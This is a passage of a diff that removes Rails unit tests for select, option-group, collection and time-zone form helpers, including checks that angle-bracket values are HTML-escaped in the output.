-    options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
-    assert_dom_equal(
-      options,
-      options_for_select(options)
-    )
-  end
-
-  def test_array_options_for_select
-    assert_dom_equal(
-      "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "<Denmark>", "USA", "Sweden" ])
-    )
-  end
-
-  def test_array_options_for_select_with_selection
-    assert_dom_equal(
-      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
-    )
-  end
-
-  def test_array_options_for_select_with_selection_array
-      assert_dom_equal(
-        "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
-        options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
-      )
-  end
-
-  def test_array_options_for_select_with_disabled_value
-    assert_dom_equal(
-      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
-    )
-  end
-
-  def test_array_options_for_select_with_disabled_array
-    assert_dom_equal(
-      "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
-    )
-  end
-
-  def test_array_options_for_select_with_selection_and_disabled_value
-    assert_dom_equal(
-      "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
-    )
-  end
-
-  def test_array_options_for_string_include_in_other_string_bug_fix
-      assert_dom_equal(
-        "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
-        options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
-      )
-      assert_dom_equal(
-        "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
-        options_for_select([ "ruby", "rubyonrails" ], "ruby")
-      )
-      assert_dom_equal(
-        %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
-        options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
-      )
-  end
-
-  def test_hash_options_for_select
-    assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
-      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
-    )
-    assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
-    )
-    assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
-    )
-  end
-
-  def test_ducktyped_options_for_select
-    quack = Struct.new(:first, :last)
-    assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
-      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
-    )
-    assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
-    )
-    assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
-    )
-  end
-
-  def test_option_groups_from_collection_for_select
-    @continents = [
-      Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
-      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
-    ]
-
-    assert_dom_equal(
-      "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
-      option_groups_from_collection_for_select(@continents, "countries", "continent_name", "country_id", "country_name", "dk")
-    )
-  end
-
-  def test_grouped_options_for_select_with_array
-    assert_dom_equal(
-      "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
-      grouped_options_for_select([
-         ["North America",
-             [['United States','US'],"Canada"]],
-         ["Europe",
-             [["Great Britain","GB"], "Germany"]]
-       ])
-    )
-  end
-
-  def test_grouped_options_for_select_with_selected_and_prompt
-    assert_dom_equal(
-        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
-    )
-  end
-
-  def test_optgroups_with_with_options_with_hash
-    assert_dom_equal(
-       "<optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup><optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup>",
-       grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
-    )
-  end
-
-  def test_time_zone_options_no_parms
-    opts = time_zone_options_for_select
-    assert_dom_equal "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>\n" +
-                 "<option value=\"E\">E</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_selected
-    opts = time_zone_options_for_select( "D" )
-    assert_dom_equal "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_unknown_selected
-    opts = time_zone_options_for_select( "K" )
-    assert_dom_equal "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>\n" +
-                 "<option value=\"E\">E</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_priority_zones
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    opts = time_zone_options_for_select( nil, zones )
-    assert_dom_equal "<option value=\"B\">B</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_selected_priority_zones
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    opts = time_zone_options_for_select( "E", zones )
-    assert_dom_equal "<option value=\"B\">B</option>\n" +
-                 "<option value=\"E\" selected=\"selected\">E</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\">D</option>",
-                 opts
-  end
-
-  def test_time_zone_options_with_unselected_priority_zones
-    zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
-    opts = time_zone_options_for_select( "C", zones )
-    assert_dom_equal "<option value=\"B\">B</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"C\" selected=\"selected\">C</option>\n" +
-                 "<option value=\"D\">D</option>",
-                 opts
-  end
-
-  def test_time_zone_options_returns_html_safe_string
-    assert time_zone_options_for_select.html_safe?
-  end
-
-  def test_select
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest))
-    )
-  end
-
-  def test_select_under_fields_for
-    @post = Post.new
-    @post.category = "<mus>"
-
-    fields_for :post, @post do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-  
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_under_fields_for_with_index
-    @post = Post.new
-    @post.category = "<mus>"
-
-    fields_for :post, @post, :index => 108 do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_under_fields_for_with_auto_index
-    @post = Post.new
-    @post.category = "<mus>"
-    def @post.to_param; 108; end
-
-    fields_for "post[]", @post do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_under_fields_for_with_string_and_given_prompt
-    @post = Post.new
-    options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>"
-
-    fields_for :post, @post do |f|
-      concat f.select(:category, options, :prompt => 'The prompt')
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
-      output_buffer
-    )
-  end
-
-  def test_select_with_blank
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :include_blank => true)
-    )
-  end
-
-  def test_select_with_blank_as_string
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
-    )
-  end
-
-  def test_select_with_default_prompt
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => true)
-    )
-  end
-
-  def test_select_no_prompt_when_select_has_value
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => true)
-    )
-  end
-
-  def test_select_with_given_prompt
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
-    )
-  end
-
-  def test_select_with_prompt_and_blank
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
-    )
-  end
-
-  def test_select_with_selected_value
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
-    )
-  end
-
-  def test_select_with_index_option
-    @album = Album.new
-    @album.id = 1
-  
-    expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"    
-
-    assert_dom_equal(
-      expected, 
-      select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
-    )
-  end
-
-  def test_select_with_selected_nil
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :selected => nil)
-    )
-  end
-
-  def test_select_with_disabled_value
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
-    )
-  end
-
-  def test_select_with_disabled_array
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
-    )
-  end
-
-  def test_collection_select
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
-    )
-  end
-
-  def test_collection_select_under_fields_for
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    fields_for :post, @post do |f|
-      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
-    end
-  
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_collection_select_under_fields_for_with_index
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    fields_for :post, @post, :index => 815 do |f|
-      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_collection_select_under_fields_for_with_auto_index
-    @post = Post.new
-    @post.author_name = "Babe"
-    def @post.to_param; 815; end
-
-    fields_for "post[]", @post do |f|
-      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_collection_select_with_blank_and_style
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
-    )
-  end
-
-  def test_collection_select_with_blank_as_string_and_style
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
-    )
-  end
-
-  def test_collection_select_with_multiple_option_appends_array_brackets
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
-
-    # Should suffix default name with [].
-    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
-
-    # Shouldn't suffix custom name with [].
-    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
-  end
-
-  def test_collection_select_with_blank_and_selected
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
-    )
-  end
-
-  def test_collection_select_with_disabled
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
-       )
-  end
-
-  def test_time_zone_select
-    @firm = Firm.new("D")
-    html = time_zone_select( "firm", "time_zone" )
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_under_fields_for
-    @firm = Firm.new("D")
-
-    fields_for :firm, @firm do |f|
-      concat f.time_zone_select(:time_zone)
-    end
-  
-    assert_dom_equal(
-      "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-      "<option value=\"A\">A</option>\n" +
-      "<option value=\"B\">B</option>\n" +
-      "<option value=\"C\">C</option>\n" +
-      "<option value=\"D\" selected=\"selected\">D</option>\n" +
-      "<option value=\"E\">E</option>" +
-      "</select>",
-      output_buffer
-    )
-  end
-
-  def test_time_zone_select_under_fields_for_with_index
-    @firm = Firm.new("D")
-
-    fields_for :firm, @firm, :index => 305 do |f|
-      concat f.time_zone_select(:time_zone)
-    end
-
-    assert_dom_equal(
-      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
-      "<option value=\"A\">A</option>\n" +
-      "<option value=\"B\">B</option>\n" +
-      "<option value=\"C\">C</option>\n" +
-      "<option value=\"D\" selected=\"selected\">D</option>\n" +
-      "<option value=\"E\">E</option>" +
-      "</select>",
-      output_buffer
-    )
-  end
-
-  def test_time_zone_select_under_fields_for_with_auto_index
-    @firm = Firm.new("D")
-    def @firm.to_param; 305; end
-
-    fields_for "firm[]", @firm do |f|
-      concat f.time_zone_select(:time_zone)
-    end
-
-    assert_dom_equal(
-      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
-      "<option value=\"A\">A</option>\n" +
-      "<option value=\"B\">B</option>\n" +
-      "<option value=\"C\">C</option>\n" +
-      "<option value=\"D\" selected=\"selected\">D</option>\n" +
-      "<option value=\"E\">E</option>" +
-      "</select>",
-      output_buffer
-    )
-  end
-
-  def test_time_zone_select_with_blank
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"\"></option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_blank_as_string
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"\">No Zone</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_style
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil, {},
-      "style" => "color: red")
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-    assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
-      :style => "color: red")
-  end
-
-  def test_time_zone_select_with_blank_and_style
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil,
-      { :include_blank => true }, "style" => "color: red")
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                 "<option value=\"\"></option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-      { :include_blank => true }, :style => "color: red")
-  end
-
-  def test_time_zone_select_with_blank_as_string_and_style
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil,
-      { :include_blank => 'No Zone' }, "style" => "color: red")
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                 "<option value=\"\">No Zone</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-      { :include_blank => 'No Zone' }, :style => "color: red")
-  end
-
-  def test_time_zone_select_with_priority_zones
-    @firm = Firm.new("D")
-    zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
-    html = time_zone_select("firm", "time_zone", zones )
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_priority_zones_as_regexp
-    @firm = Firm.new("D")
-    @fake_timezones.each_with_index do |tz, i|
-      tz.stubs(:=~).returns(i.zero? || i == 3)
-    end
-
-    html = time_zone_select("firm", "time_zone", /A|D/)
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_default_time_zone_and_nil_value
-     @firm = Firm.new()
-     @firm.time_zone = nil
-      html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\" selected=\"selected\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-  end
-
-  def test_time_zone_select_with_default_time_zone_and_value
-     @firm = Firm.new('D')
-      html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
-      assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-  end
-
-  def test_grouped_collection_select
-    @continents = [
-      Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
-      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
-    ]
-
-    @post = Post.new
-    @post.origin = 'dk'
-
-    assert_dom_equal(
-      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
-      grouped_collection_select("post", "origin", @continents, :countries, :continent_name, :country_id, :country_name)
-    )
-  end
-
-  def test_grouped_collection_select_under_fields_for
-    @continents = [
-      Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
-      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] )
-    ]
-
-    @post = Post.new
-    @post.origin = 'dk'
-
-    fields_for :post, @post do |f|
-      concat f.grouped_collection_select("origin", @continents, :countries, :continent_name, :country_id, :country_name)
-    end
-
-    assert_dom_equal(
-      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
-      output_buffer
-    )
-  end
-
-  private
-
-    def dummy_posts
-      [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
